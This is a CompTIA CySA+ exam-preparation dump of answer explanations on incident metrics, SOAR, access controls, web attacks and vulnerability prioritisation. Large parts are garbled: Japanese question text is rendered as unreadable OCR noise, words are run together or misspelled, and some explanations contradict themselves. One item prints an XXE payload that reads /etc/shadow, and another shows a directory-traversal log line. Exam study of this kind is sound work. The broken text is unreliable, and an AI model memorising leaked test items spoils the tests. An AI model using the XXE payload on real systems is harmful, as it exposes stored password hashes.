Thus,A (Threat modeling) is the best choice, as it enablesearly identification and mitigation of security risks.
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The correct answer is A. MTTD - Mean Time to Detect - measures the average time between the beginning of a security incident and its detection. A shorter MTTD means the organization
detects incidents faster, which can reduce attacker dwell time, limit damage, and reduce the incident's overall impact.

Exact supporting extract: the Secbay CySA+ guide defines MTTD as the average duration between the occurrence of a security incident and its detection. It states that MTTD reflects the
effectiveness of monitoring and detection capabilities and that reducing MTTD improves cybersecurity resilience.

The official CySA+ objectives include mean time to detect, mean time to respond, mean time to remediate, and alert volume under incident response metrics and KPlIs.

Why the other options are incorrect:

B is incorrect because MTTD does not guarantee leadership is notified before exploitation.

C is incorrect because the time between detection and response is closer to MTTR, not MTTD.

D is incorrect because MTTD is a reporting metric, not a regulatory compliance process.

A is correct because faster detection normally reduces potential incident impact.
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Dictionary attacks involve an attacker attempting to guess passwords by using a list of common passwords.

Implementing a lockout policy is effective because it limits the number of login attempts, thereby hindering the attacker's ability to repeatedly attempt different passwords. Lockout policies are
standard in cybersecurity practices to prevent brute-force and dictionary attacks by temporarilydisabling an account after a certain number of failed login attempts. According to CompTIA
Security+ standards, password complexity (option B) and multifactor authentication (option A) are helpful but are not as immediately effective in directly preventing repeated attempts as a
lockout policy.
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The log entry "......\boot.ini" is indicative of a directory traversal attack, where an attacker attempts to access files and directories that are stored outside the web root folder.

The log snippet "......\boot.ini" is indicative of a directory traversal attack. This type of attack aims to access files and directories that are stored outside the web root folder. By manipulating
variables that reference files with "../" (dot-dot-slash), the attacker may be able to access arbitrary files and directories stored on the file system.
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Comprehensive Detailed Explanation:SOAR (Security Orchestration, Automation, and Response) solutions are implemented to streamline security operations and improve efficiency. Key
benefits include:

* C. Reduce repetitive tasks: SOAR solutions automate routine and repetitive tasks, which helps reduce analyst workload and minimize human error.
* F. Generate reports and metrics: SOAR platforms can automatically generate comprehensive reports and performance metrics, allowing organizations to track incident response times,
analyze trends, and optimize security processes.

Other options are less relevant to the core functions of SOAR:

* A. Minimize security attacks: While SOAR can aid in quicker response, it does not directly minimize the occurrence of attacks.

* B. Itemize tasks for approval: Task itemization for approval is more relevant to project management tools.

* D. Minimize setup complexity: SOAR solutions often require significant setup and integration with existing tools.

* E. Define a security strategy: SOAR is more focused on automating response rather than strategy definition.

References:

Gartner ' s Guide on SOAR Solutions: Discusses automation and reporting features.

NIST SP 800-61: Computer Security Incident Handling Guide, on the value of automation in incident response.
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To identify existing vulnerabilities in the web application, the best options are to contract a penetration test and create a bug bounty program. A penetration test simulates attacks against the
application to uncover security flaws proactively. A bug bounty program incentivizes external security researchers to find and report vulnerabilities, expanding the testing scope without
overburdening internal resources. According to CompTIA CySA+, both methods are highly effective in identifying vulnerabilities from an external perspective, particularly when internal
resources are limited. Options like a WAF (A) focus more on prevention than detection, while threat modeling (F) and tabletop exercises (D) are generally proactive measures not focused on
active flaw identification.
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A. (?!https://10\.1\.2\.3/api\?id=[0-9]+)

B. " https://10\.1\.2\.3/api\?id=\d+

C. (?: " https://10\.1\.2\.3/api\?id-[0-9]+)

D. https://10\.1\.2\.3/api\?id[0-9J$
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The correct regular expression to match a GET request to this APl endpoint is " https://10\.1\.2\.3/api\?id=\d+

" . This pattern checks for the specific URL with an id parameter that accepts integer values. The syntax \d+ matches one or more digits, which aligns with the requirement for a single integer
argument. Other options either use incorrect syntax or do not accurately capture the expected URL format. Regular expressions are vital in filtering and identifying patterns in logs, as
recommended by CompTIA Cybersecurity Analyst (CySA+) practices for threat hunting and log analysis.
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Outdated librariesin a legacy web applicationintroduce security vulnerabilities, as theylack modern patchesandcontain known exploits.

* Option A (Misconfigured WAF)can contribute to security issues but is notinherent to legacy applications.

* Option B (Data integrity failure)is apotential impactbut not a direct cause of recurring incidents.
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* Option D (Insufficient logging)affects detection, but theroot causeisinsecure, outdated components.
Thus,C (Outdated libraries) is the correct answer, aslegacy applications frequently suffer from unpatched vulnerabilities.
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The XML file containsJavaScript embedded within a < description > tagthat executes an alert message, which is a commonCross-Site Scripting (XSS)attack vector. The issue occurs
becausethe XML schema does not restrict the input to safe characters, allowingarbitrary script executionwhen the XML file is processed by a vulnerable application.
Solution: Implement Input Validation Using an XML Schema Constraint

* Option Benforces awhitelist approachby allowingonly alphanumeric characters and spaces([a-zA-Z 0-9]

"),

* This prevents the inclusion ofmalicious JavaScript or special characterssuch as <, >, or &, which are required for XSS injection.

Why are the other options incorrect?

* Option A: Restricts input to aSocial Security Number (SSN) format ([0-9]{3}-[0-9] {2}-[0-9]{4}).

While it prevents JavaScript injection, it is too restrictive and would break legitimate text-based content in the XML.

* Option C: Restricts input toonly numeric values ([0-9]%), preventing JavaScript injection but also breaking legitimate non-numeric content in the < description > field.
* Option D: Restricts input to asingle positive integer, which does not align with the expected text-based content.

Thus,Option Bis the correct answer, as it enforces proper input validation while still allowing expected text input.
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Updating the system firmware and reimaging the hardware is the best action to perform to remediate the infected device, as it helps to ensure that the device is restored to a clean and secure
state and that any traces of malware are removed. Firmware is a type of software that controls the low-level functions of a hardware device, such as a motherboard, hard drive, or network
card. Firmware can be updated or flashed to fix bugs, improve performance, or enhance security. Reimaging is a process of erasing and restoring the data on a storage device, such as a hard
drive or a solid state drive, using an image file that contains a copy of the operating system, applications, settings, and files. Reimaging can help to recover from system failures, data
corruption, or malware infections. Updating the system firmware and reimaging the hardware can help to remediate the infected device by removing any malicious code or configuration
changes that may have been made by the malware, as well as restoring any missing or damaged files or settings that may have been affected by the malware. This can help to prevent further
damage, data loss, or compromise of the device or the network. The other actions are not as effective or appropriate as updating the system firmware and reimaging the hardware, as they do
not address the root cause of the infection or ensure that the device is fully cleaned and secured. Installing an additional malware scanner that will send email alerts to the analyst may help to
detect and remove some types of malware, but it may not be able to catch all malware variants or remove them completely. It may also create conflicts or performance issues with other
security tools or systems on the device. Configuring the system to use a proxy server for Internet access may help to filter or monitor some types of malicious traffic or requests, but it may not
prevent or remove malware that has already infected the device or that uses other methods of communication or propagation. Deleting the user profile and restoring data from backup may
help to recover some data or settings that may have been affected by the malware, but it may not remove malware that has infected other parts of the system or that has persisted on the
device.
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A Secure Software Development Life Cycle (SDLC) integrates security measures at each stage of development to reduce vulnerabilities and improve the overall security of the software. This
is essential for minimizing risks related to software usage and ensuring compliance with regulatory requirements, which is particularly important for organizations handling sensitive data. As
per CompTIA standards, a Secure SDLC helps prevent security breaches and protects both the organization and its users from potential harm. Options A, C, and D do not accurately describe
the primary goals of a Secure SDLC, which primarily centers on risk reduction and regulatory compliance.
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The next action that the CSIRT should conduct after isolating the compromised server from the network is to take a snapshot of the compromised server and verify its integrity. Taking a
snapshot of the compromised server involves creating an exact copy or image of the server's data and state at a specific point in time.

Verifying its integrity involves ensuring that the snapshot has not been altered, corrupted, or tampered with during or after its creation. Taking a snapshot and verifying its integrity can help
preserve and protect any evidence or information related to the incident, as well as prevent any tampering, contamination, or destruction of evidence.
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Reviewing the steps that the previous analyst followed is the most important step during the transition, as it ensures continuity and consistency of the investigation. It also helps the new
analyst to understand the current status, scope, and findings of the investigation, and to avoid repeating the same actions or missing any important details. The other options are either less
important, premature, or potentially biased. References:

CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 4: Incident Response and Management, page

191. Incident response best practices and tips, Tip 1: Always pack a jump bag.
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A. function w() { info=$(ping -c 1 $1 | awk -F "/" 'END{print $1}') && echo "$1 | $info" }

B. function x() { info=$(geoiplookup $1) && echo "$1 | $info" }

C. function y() { info=$(dig -x $1 | grep PTR | tail -n 1 ) && echo "$1 | $info" }

D. function z() { info=$(traceroute -m 40 $1 | awk 'END{print $1}') && echo "$1 | $info" }
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The function that would help the analyst identify IP addresses from the same country is:

function x() { info=$(geoiplookup $1) && echo "$1 | $info" }

This function takes an IP address as an argument and uses the geoiplookup command to get the geographic location information associated with the IP address, such as the country name,
country code, region, city, or latitude and longitude. The function then prints the IP address and the geographic location information, which can help identify any IP addresses that belong to
the same country.
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Zero Trust Network Access (ZTNA)simplifies secure remote access to cloud and SaaS applications byenforcing identity-based, least-privilege access policies. It eliminates the need to extend
traditional network- based access models to the cloud. ZTNA ensures thateach user is verified continuouslyregardless of their network location, aligning perfectly with complex multi-cloud or
SaaS environments.

* RADIUS (A)is an older authentication protocol, not ideal for SaaS cloud scale.

* SDN (B)controls network flow, not identity management.

* SWG (D)is a secure web proxy, not for access control and IAM extension.

# Reference:

* CS0-003 Exam Objectives 1.1 - Identity and Access Management

* Sybex Study Guide - Chapple & Seidl, Chapter 2: Zero Trust & Cloud IAM
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A new program has been set to execute on system start is the most likely cause of the suspicious activity that is occurring, as it indicates that the malware has modified the registry keys of the
system to ensure its persistence. File Integrity Monitoring (FIM) is a tool that monitors changes to files and registry keys on a system and alerts the security analyst of any unauthorized or
malicious modifications. The alert triggered by FIM shows that the malware has created a new registry key under the Run subkey, which is used to launch programs automatically when the
system starts. The new registry key points to a file named "update.exe" in the Temp folder, which is likely a malicious executable disguised as a legitimate update file. Official References:

* https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered

* https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives

* https://www.comptia.org/training/books/cysa-cs0-002-study-guide
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Implementing segmentation with ACLs is the best solution to secure the network. Segmentation is the process of dividing a network into smaller subnetworks, or segments, based on criteria
such as function, location, or security level. Segmentation can help improve the network performance, scalability, and manageability, as well as enhance the network security by isolating the
sensitive or critical data and systems from the rest of the network. ACLs are Access Control Lists, which are rules or policies that specify which users, devices, or applications can access a
network segment or resource, and which actions they can perform. ACLs can help enforce the principle of least privilege, and prevent unauthorized or malicious access to the network
segments or resources12. Configuring logging and monitoring to the SIEM, deploying MFA to cloud storage locations, and rolling out an IDS are all good security practices, but they are not
the best solution to secure the network.

Logging and monitoring tothe SIEM can help detect and analyze the network events and incidents, but they do not prevent them. MFA can help authenticate the users who access the cloud
storage locations, but it does not protect the network from attacks or breaches. IDS can help identify and alert the network intrusions, but it does not block them34 . References: Network
Segmentation: What It Is and How to Do It Right, What is an Access Control List (ACL)? | IBM, What is SIEM? | Microsoft Security, What is Multifactor Authentication (MFA)? | Duo Security,
[What is an Intrusion Detection System (IDS)? | IBM]
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Improving employee training and awareness is the best option to address the issue of sensitive reports being disclosed via file sharing services. By educating employees about the risks of
unapproved file sharing, the security protocols to follow, and the proper channels to use for sharing company information, an organization can significantly reduce the risk of sensitive data
being accidentally or intentionally shared on insecure platforms. This human-centric approach addresses the root cause of the problem. Options A, C, and D are security controls that do not
directly address the behavior of sharing sensitive files on unauthorized services.
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CVE details and loCs are information that would most likely be required by the infrastructure team so that vulnerabilities can be remediated quickly. CVE details provide the description,
severity, impact, and solution of the vulnerabilities that affect the servers. l0Cs are indicators of compromise that help identify and respond to potential threats or attacks on the servers.
References: Server and Workstation Patch Management Policy, Section: Policy; Patch Management Policy: Why You Need One in 2024, Section: What is a patch management policy?
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A mean time to remediate (MTTR) is a metric that measures how long it takes to fix a vulnerability after it is discovered. A MTTR of 30 days would best protect the organization from the new
attacks that are exploited

45 days after a patch is released, as it would ensure that the vulnerabilities are fixed before they are exploited
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APIs (Application Programming Interfaces) enable integration and automation across different vendor platforms within a SOAR (Security Orchestration, Automation, and Response) solution.
They allow security tools to communicate and execute automated actions, making them essential for orchestrating responses across diverse systems and platforms. While STIX/TAXII
provides standards for threat information sharing, and data enrichment enhances context, APIs are the primary means of enabling cross-platform automation, as recommended in CompTIA
CySA+ materials on SOAR operations.
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A successful information security program consists of several key elements that align with the organization's goals and objectives, and address the risks and threats to its information assets.
Security policy implementation: This is the process of developing, documenting, and enforcing the rules and standards that govern the security of the organization's information assets.
Security policies define the scope, objectives, roles, and responsibilities of the security program, as well as the acceptable use, access control, incident response, and compliance
requirements for the information assets.

Assignment of roles and responsibilities: This is the process of identifying and assigning the specific tasks and duties related to the security program to the appropriate individuals or groups
within the organization. Roles and responsibilities define who is accountable, responsible, consulted, and informed for each security activity, such as risk assessment, vulnerability
management, threat detection, incident response, auditing, and reporting.

Information asset classification: This is the process of categorizing the information assets based on their value, sensitivity, and criticality to the organization. Information asset classification
helps to determine the appropriate level of protection and controls for each asset, as well as the impact and likelihood of a security breach or loss. Information asset classification also
facilitates the prioritization of security resources and efforts based on the risk level of each asset.

Hf: 183

YANR—CFX2 T4 T7FTIVAMEI VIR TFAINEEOA—ILDNA =LY —N—IZEET BRNTRAFENEESIRAT AV a—2aVEHELTVWET , 7HUX MARBHE
BILHAREEDHEIV ) 2a—aViERDENRTTMN?

AU RRy IR

B. MFA

C. DKIM

D. e85 R Fv >

Ef#E: (EfEZRTLET)

To "test" links/attachments before they reach the mail server, the organization needs a control that can execute or detonate suspicious content in a controlled environment and observe
behavior. That is exactly what sandboxing does.

Secbay Press defines sandboxing as executing suspicious files/applications in a virtualized environment to observe behavior (i.e., safe testing/detonation):

Exact extract (Secbay Press): "Joe Sandbox is a malware analysis platform that utilizes virtualized environments (sandboxing) to execute and observe the behavior of suspicious files or
applications." The official CS0-003 objectives list Sandboxing (Joe Sandbox / Cuckoo Sandbox) under tools used to determine malicious activity, aligning with the exam's expectation that
sandboxing is used to analyze suspicious content.

Why the other choices are not correct:

* B (MFA): helps protect accounts, but doesn't "test" attachments/links.

* C (DKIM): authenticates sender domain and message integrity, but doesn't detonate or test payloads.

* D (Vulnerability scan): targets hosts/services/configurations, not real-time detonation of email attachments/links.

References (CompTIA CySA+ CS0-003 documents / study guides used):

* Secbay Press, CompTIA CySA+ Exam Prep Guide (CS0-003): sandboxing executes/observes suspicious files in a virtualized environment

* CompTIA CySA+ CS0-003 Exam Obijectives v4.0: includes sandboxing tools (Joe Sandbox, Cuckoo Sandbox)

* Chapple/Seidl, CompTIA CySA+ Study Guide (CS0-003): DKIM is for verifying sender/domain integrity, not payload testing
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Weaponization is the stage of the Cyber Kill Chain where the threat actor creates or modifies a malicious tool to use against a target. In this case, the threat actor compiles and tests a
malicious downloader, which is a type of weaponized malware. References: Cybersecurity 101, The Cyber Kill Chain: The Seven Steps of a Cyberattack
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Sandboxing is a technique that isolates potentially malicious programs or files in a controlled environment, preventing them from affecting the rest of the system. It can help mitigate the effects
of a new ransomware attack by preventing it from encrypting or deleting important data or spreading to other devices. References:

CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 5, page 202; CompTIA CySA+ CSO-

003 Certification Study Guide, Chapter 5, page 210.
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A. grep [IP7 K L X] packets.pcapB cat packets.pcap | grep [IP7 F L X]

B. tcpdump -n -r packets.pcap host [IP7 F L X]

C. strings packets.pcap | grep [IP Address]
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tcpdump is a command-line tool that can capture and analyze network packets from a given interface or file.

The -n option prevents tcpdump from resolving hostnames, which can speed up the analysis. The -r option reads packets from a file, in this case packets.pcap. The host [IP address] filter
specifies that tcpdump should only display packets that have the given IP address as either the source or thedestination. This command can help the security analyst detect connections to a
suspicious IP address by collecting the packet captures from the gateway. Official References:

* https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives

* https://www.techtarget.com/searchsecurity/quiz/Sample-CompTIA-CySA-test-questions-with-answers

* https://www.reddit.com/r/CompTIA/comments/tmxx84

/passed_cysa_heres_my_experience_and_how _i_studied/
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The correct answer is A. System hardening.

System hardening is the process of securing a system by reducing its attack surface, applying patches and updates, configuring security settings, and implementing security controls. System
hardening can help prevent or mitigate vulnerability events that may affect operating systems. Host-based IPS, firewalls, and two-factor authentication are examples of security controls that
can be applied to harden a system1.

The other options are not the best descriptions of the scenario. A hybrid network architecture (B) is a network design that combines on-premises and cloud-based resources, which may or
may not involve system hardening. Continuous authorization is a security approach that monitors and validates the security posture of a system on an ongoing basis, which is different from
system hardening. Secure access service edge (D) is a network architecture that delivers cloud-based security services to remote users and devices, which is also different from system
hardening.

B fE: 188

SOC L HEBDERFBEHRMNT—Y Web TROM I EEZRITERA VT DV RABMEZTRYELE, A——DWeb 7V TAETAERQTA VY TIOTAETAIX BEDHD
EHRFEFEERLGER. 7207y JA—FA4oo0—F IVXTOA MIDOWCTHESNFEL, AV FA—LZHRLIZE A ZERDBAMNAMIL L TVS I EAERINFEL
e EDRR XY FI—D LEBEEANDERZERBT HICIE, ROENERAICETTILENHY £IH?

A.NRXRT—FD5EHY) Yy FZEITLET,

B. REINRERZI—Y—ICEBHMLET,

C.A—YHY—DI3yvT by TTTRKRYI AV AFZY UEETLET,

D.1—H—D7h0 Y MIBIYETONIERNR/DEDERERML TS I EEZHRELTLLZEL,

E.BEEDHITITAETA DRV HHIHEENDSOCTI—FDOLEWVMEZTIFET,

Ef: A (AU LEHKT D)

The first and most urgent step to mitigate the impact of compromised credentials on the dark web is to perform a forced password reset for the affected user. This will prevent the
cybercriminals from using the stolen credentials to access the company's network and systems. Multifactor authentication is a good security measure, but it is not foolproof and can be
bypassed by sophisticated attackers. Therefore, changing the password as soon as possible is the best practice to reduce the risk of a data breach or other cyber attack123 References: 1:
How to monitor the dark web for compromised employee credentials 2: How to prevent corporate credentials ending up on the dark web 3: Data Breach Prevention: Identifying Leaked
Credentials on the Dark Web
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Penetration testing is the best strategy to evaluate the security of the software without the source code.

Penetration testing is a type of security testing that simulates real-world attacks on the software to identify and exploit its vulnerabilities. Penetration testing can be performed on the software
as a black box, meaning that the tester does not need to have access to the source code or the internal structure of the software. Penetration testing can help the analyst to assess the
security posture of the software, the potential impact of the vulnerabilities, and the effectiveness of the existing security controls12. Static testing, vulnerability testing, and dynamic testing are
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other types of security testing, but they usually require access to the source code or the internal structure of the software. Static testing is the analysis of the software code or design without
executing it. Vulnerability testing is the identification and evaluation of the software weaknesses or flaws.

Dynamic testing is the analysis of the software code or design while executing it345. References: Penetration Testing - OWASP, What is a Penetration Test and How Does It Work?, Static
Code Analysis | OWASP Foundation, Vulnerability Scanning Best Practices, Dynamic Testing - OWASP
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The Diamond Model of Intrusion Analysis is a framework that helps analysts to understand the relationships between the adversary, the victim, the infrastructure, and the capability involved in
an attack. It also enables analytical pivoting, which is the process of moving from one piece of information to another related one, and identifies knowledge gaps that need further investigation.
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Asimulation(such as atabletop exercise or full-scale IR drill) is the best way to demonstrate real-world readiness without affecting operations.
* Option A (Reviewing lessons-learned and playbooks)is valuable but does not actively test readiness.

* Option C (Deploying malware)is highly risky and unethical in a production environment.

* Option D (Disaster recovery site testing)focuses on DR, not security incident readiness.

Thus,B is the best choice, as simulations effectivelytest incident response capabilities without operational disruption.
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An SLA (Service Level Agreement) is a contract or agreement between a service provider and a customer that defines the expected level of service, performance, quality, and availability of
the service. An SLA also specifies the responsibilities, obligations, and penalties for both parties in case of non-compliance or breach of the agreement. An SLA can help organizations to
ensure that their security services are delivered in a timely and effective manner, and that any security incidents or vulnerabilities are addressed and resolved within a specified time frame. An
SLA can also help to establish clear communication, expectations, and accountability between the service provider and the customer12 An MOU (Memorandum of Understanding) is a
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document that expresses a mutual agreement or understanding between two or more parties on a common goal or objective. An MOU is not legally binding, but it can serve as a basis for
future cooperation or collaboration. An MOU may not be suitable for requiring remediation of a known threat within a given time frame, as it does not have the same level of enforceability,
specificity, or measurability as an SLA.

Best-effort patching is an informal and ad hoc approach to applying security patches or updates to systems or software. Best-effort patching does not follow any defined process, policy, or
schedule, and relies on the availability and discretion of the system administrators or users. Best-effort patching may not be effective or efficient for requiring remediation of a known threat
within a given time frame, as it does not guarantee that the patches are applied correctly, consistently, or promptly. Best-effort patching may also introduce new risks or vulnerabilities due to
human error, compatibility issues, or lack of testing.

Organizational governance is the framework of rules, policies, procedures, and processes that guide and direct the activities and decisions of an organization. Organizational governance can
help to establish the roles, responsibilities, and accountabilities of different stakeholders within the organization, as well as the goals, values, and principles that shape the organizational
culture and behavior. Organizational governance can also help to ensure compliance with internal and external standards, regulations, and laws. Organizational governance may not be
sufficient for requiring remediation of a known threat within a given time frame, as it does not specify the details or metrics of the service delivery or performance. Organizational governance
may also vary depending on the size, structure, and nature of the organization.
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The correct answer is B because a legal hold requires the organization to preserve potentially relevant information. The first practical step is to notify the departments, custodians, IT staff, and
records personnel who may control or possess relevant emails so they do not delete, alter, or overwrite them.

Exact supporting extract: the Secbay CySA+ guide defines legal hold as a process used to preserve relevant information associated with legal proceedings, investigations, or disputes. It
states that once a legal hold is in effect, it is crucial to communicate it to relevant personnel who may have custody or control over the information, including IT staff, records management
personnel, and employees with pertinent data.

The Sybex CySA+ Study Guide also states that legal holds require organizations to preserve all potentially relevant data and information related to pending or active litigation. It specifically
notes that legal holds may involve data such as logs, email, or transactional information that would otherwise be destroyed under normal retention procedures.

Why the other options are incorrect:

A is incorrect because disclosing the request to unrelated vendors could create confidentiality and legal issues.

C is incorrect because chain of custody is important when evidence is collected and transferred, but the first legal-hold step is preservation notification.

D is incorrect because producing mailbox copies to the attorney is premature. The organization must first preserve the relevant data and follow legal/eDiscovery procedures.
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<l--7wxml wversion="1.0" 2-——>

<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:////etc/shadow">]>

<userInfo>

<firstName>Jchn</firzstName>
<lastName>$Seffth</lastNaf®PF— W 'R

</userInfo>\ 1D | G\
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XSS (cross-site scripting) is the vulnerability type that the security analyst is validating, as the snippet shows an attempt to inject a script tag into the web application. XSS is a web security
vulnerability that allows an attacker to execute arbitrary JavaScript code in the browser of another user who visits the vulnerable website.

XSS can be used to perform various malicious actions, such as stealing cookies, session hijacking, phishing, or defacing websites. The other vulnerability types are not relevant to the snippet,
as they involve different kinds of attacks. Directory traversal is an attack that allows an attacker to access files and directories that are outside of the web root folder. XXE (XML external entity)
injection is an attack that allows an attacker to interfere with an application's processing of XML data, and potentially access files or systems. SSRF (server- side request forgery) is an attack
that allows an attacker to induce the server-side application to make requests to an unintended location. Official References:

* https://portswigger.net/web-security/xxe

* https://portswigger.net/web-security/ssrf

* https://cheatsheetseries.owasp.org/cheatsheets/Server_Side Request Forgery Prevention_Cheat_Sheet.

html
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The vulnerability that should be patched first, given the above third-party scoring system, is:

TSpirit: Cobain: Yes Grohl: Yes Novo: Yes Smear: No Channing: No

This vulnerability has three out of five metrics marked as Yes, which indicates a high severity level. The metrics Cobain, Grohl, and Novo are more important than Smear and Channing,
according to the vulnerability management team. Therefore, this vulnerability poses a greater risk than the other vulnerabilities and should be patched first.
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Business process interruption is the inhibitor to remediation that this scenario illustrates. Business process interruption is when the remediation of a vulnerability or an incident requires the
disruption or suspension of a critical or essential business process, such as the point-of-sale application. This can cause operational, financial, or reputational losses for the organization, and
may outweigh the benefits of the remediation.

Therefore, the organization may decide to postpone or avoid the remediation until a more convenient time, such as a change freeze window, which is a period of time when no changes are
allowed to the IT environment12. Service-level agreement, degrading functionality, and proprietary system are other possible inhibitors to remediation, but they are not relevant to this
scenario. Service-level agreement is when the remediation of a vulnerability or an incident violates or affects the contractual obligations or expectations of the service provider or the customer.
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Degrading functionality is when the remediation of a vulnerability or an incident reduces or impairs the performance or usability of a system or an application. Proprietary system is when the
remediation of a vulnerability or an incident involves a system or an application that is owned or controlled by a third party, and the organization has limited or no access or authority to modify
it3.

References: Inhibitors to Remediation - SOC Ops Simplified, Remediation Inhibitors - CompTIA CySA+, Information security Vulnerability Management Report (Remediation...
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access_log - [21/May/2024 13:19:06] "GET /news HTTP/1.1" 404 -

access_log - [21/May/2024 13:19:06] " GET /1970 HTTP/1.1 " 404 -

access_log - [21/May/2024 13:19:06] " GET /dopey HTTP/1.1 " 404 -
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This log shows multiple 404 errors being triggered from requests to different directories or paths, which strongly suggests adirectory brute-force attack. In this type of attack, an adversary uses
automated tools to enumerate directory or file paths in an attempt to find hidden or misconfigured resources. The frequent 404

"Not Found" HTTP responses from a single IP address attempting to access different URL paths is the signature pattern for directory brute-forcing. This behavior is not consistent with XSS,
SQLi, or RCE, which would involve payloads or specific encoded commands, not merely probing paths.

Reference:

Chapple & Seidl,CompTIA CySA+ Practice Tests(Sybex, 2023), Question 149, p. 297 Objective 1.2 of CySA+ CS0-003 Exam Objectives: Analyze indicators of malicious activity such as
scans

/sweeps, unusual traffic spikes, activity on unexpected ports
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To decide what to address first, CySA+ expects a risk-based prioritization approach, combining factors like:

* Asset criticality/value (business impact)

* Exposure/architecture (internet-facing vs. isolated/internal)

* Patch availability / ability to remediate quickly

* Exploitability / likelihood of exploitation

1) Server5 (Critical + Patch Yes) - prioritize immediately

Server5 sits in the database network, is marked Critical, and a patch is available. That combination makes it one of the highest priorities because you can rapidly reduce risk on an asset with
the greatest business impact.

* Secbay explicitly states that prioritization should align to asset criticality and business impact, and also notes that patch availability accelerates remediation:Exact extract (Secbay Press):
"Prioritize vulnerabilities based on their severity, exploitability, and potential impact... Asset Criticality: Identify and prioritize vulnerabilities based on the criticality of the assets they affect..."
and "Patch Availability... Action: Prioritize vulnerabilities for which patches are readily available, as prompt remediation is possible."

* The All-in-One guide emphasizes asset value/criticality as a major driver of how fast you remediate:

Exact extract (All-in-One Exam Guide): "Asset value is likely one of the most important factors in determining how quickly you should remediate vulnerabilities..."

2) Server3 (Perimeter + High) - address immediately (mitigate now, patch later) Server3 is in the perimeter network and rated High, making it more exposed to attack paths than internal-only
systems. Even though no patch is available, the analyst must still "address" it first via mitigation

/compensating controls (segmentation, firewalling, disabling vulnerable services, WAF where relevant, tighter ACLs, etc.) because perimeter exposure increases likelihood of exploitation.

* The All-in-One guide makes the architecture/exposure point very directly:Exact extract (All-in-One Exam Guide - Exam Tip): "The architecture of your infrastructure should be a factor...
Internet-facing hosts with sensitive information will likely be your highest priority, while isolated systems... may be able to wait a bit longer for remediation."

* Secbay's prioritization guidance also highlights focusing on critical/high impact risks first and using risk-based prioritization.

Why not the others (briefly):

* Server4 (Internal, High, Patch Yes): This is a strong candidate, but when choosing only two, perimeter high exposure (Server3) plus critical database with patch (Server5) generally outranks
an internal high system.
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* Server2 (Perimeter, Low, Patch Yes): Exposed, but Low criticality.

* Server1 / Server6 (Medium, No patch): Lower criticality and no patch-typically handled after higher- risk items, or mitigated as feasible.

References (CompTIA CySA+ CS0-003 documents / study guides used):

* Mya Heath et al., CompTIA CySA+ All-in-One Exam Guide (CS0-003): infrastructure architecture affects remediation priority; internet-facing hosts are typically highest priority; asset value
drives remediation urgency

* Secbay Press, CompTIA CySA+ Exam Prep Guide (CS0-003): vulnerability prioritization factors include asset criticality and patch availability; prioritize items with readily available patches
for prompt remediation
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The correct answer is D because the remediation was successful technically, but it occurred during five business hours for a sales application. That means the company likely lost sales
revenue because the application was unavailable or degraded during a business-critical period. The issue was not the patch itself; the issue was poor change scheduling and communication.
Exact supporting extract: the CySA+ All-in-One guide defines a maintenance window as "a scheduled time the system is taken offline or out of use so that patches or configuration changes
can be made." It also explains that emergency maintenance may require informing users that the resource is being taken offline, how long maintenance will take, and whether resource access
will be affected.

The Sybex CySA+ Study Guide also supports this answer: "Changes have the potential to be disruptive to an organization," so the timing of changes must be "carefully coordinated." It adds
that maintenance windows normally occur during evenings, weekends, or other periods when business activity is low.

The official CompTIA CS0-003 objectives place this under vulnerability management reporting and communication because they include action plans, patching, inhibitors to remediation,
business process interruption, degrading functionality, and stakeholder identification and communication.

Why the other options are incorrect:

A is incorrect because this financial loss is not simply a normal unavoidable IT cost. It was caused by poor scheduling or communication around a business-critical sales application.

B is incorrect because the issue is not specifically that the CIO failed to notify the board. The scenario says the change advisory board informed leadership after the loss.

C is incorrect because a penetration test is not required before every patch or remediation activity. The issue was not whether the vulnerability existed; it was the business impact of the
remediation timing.

D is correct because a properly planned and communicated maintenance window should reduce business impact by scheduling the work when the application is not heavily used.
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The best priority based on common attack frameworks for a new program to reduce attack surface risks and threats as part of a zero trust approach is to reduce the administrator and
privileged access accounts.

Administrator and privileged access accounts are accounts that have elevated permissions or capabilities to perform sensitive or critical tasks on systems or networks, such as installing
software, changing configurations, accessing data, or granting access. Reducing the administrator and privileged access accounts can help minimize the attack surface, as it can limit the
number of potential targets or entry points for attackers, as well as reduce the impact or damage of an attack if an account is compromised.
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The correct answer is A because MTTD stands for Mean Time to Detect. It measures how long it takes an organization to identify that a security incident has occurred. A shorter MTTD means
the organization detects incidents faster, which usually allows containment and response to begin sooner. Faster detection can reduce attacker dwell time, limit damage, and reduce the
overall impact of the incident.

Exact supporting extract: the Secbay CySA+ guide defines MTTD as "the average duration between the occurrence of a security incident and its detection." It also states that MTTD
represents the effectiveness of monitoring and detection capabilities, and that communicating MTTD gives stakeholders a quantitative measure of detection efficiency.

The same guide states that "Reducing MTTD is often a key objective in enhancing overall cybersecurity resilience," which directly supports the idea that a shorter MTTD helps reduce potential
incident impact.

The official CompTIA CS0-003 objectives list Mean time to detect, Mean time to respond, Mean time to remediate, and alert volume under incident response reporting and communication
metrics and KPIs.

Why the other options are incorrect:

A is correct because shorter detection time usually reduces the window of opportunity for attackers and lowers possible incident impact.

B is incorrect because improved MTTD does not guarantee leadership will know about threats before exploitation. MTTD measures detection after an incident or event begins.

C is incorrect because MTTD does not define the time between detection and response. That relates more closely to MTTR, mean time to respond.

D is incorrect because MTTD is a metric used in incident response reporting, but it is not itself a regulatory compliance process or an approved reporting procedure.
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A well-defined timeline of the events is the most important factor to ensure accurate incident response reporting, as it provides a clear and chronological account of what happened, when it
happened, who was involved, and what actions were taken. A timeline helps to identify the root cause of the incident, the impact and scope of the damage, the effectiveness of the response,
and the lessons learned for future improvement. A timeline also helps to communicate the incident to relevant stakeholders, such as management, legal, regulatory, or media entities. The
other factors are also important for incident response reporting, but they are not as essential as a well-defined timeline. Official References:

https://www.ibm.com/topics/incident-response

https://www.crowdstrike.com/cybersecurity-101/incident-response/incident-response-steps/
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Reverse engineering is a technique that involves analyzing a binary file to understand its structure, functionality, and behavior. Reverse engineering can help security analysts perform
malware analysis, vulnerability research, exploit development, and software debugging. Reverse engineering can be done using various tools, such as disassemblers, debuggers,
decompilers, and hex editors.

& H: 205
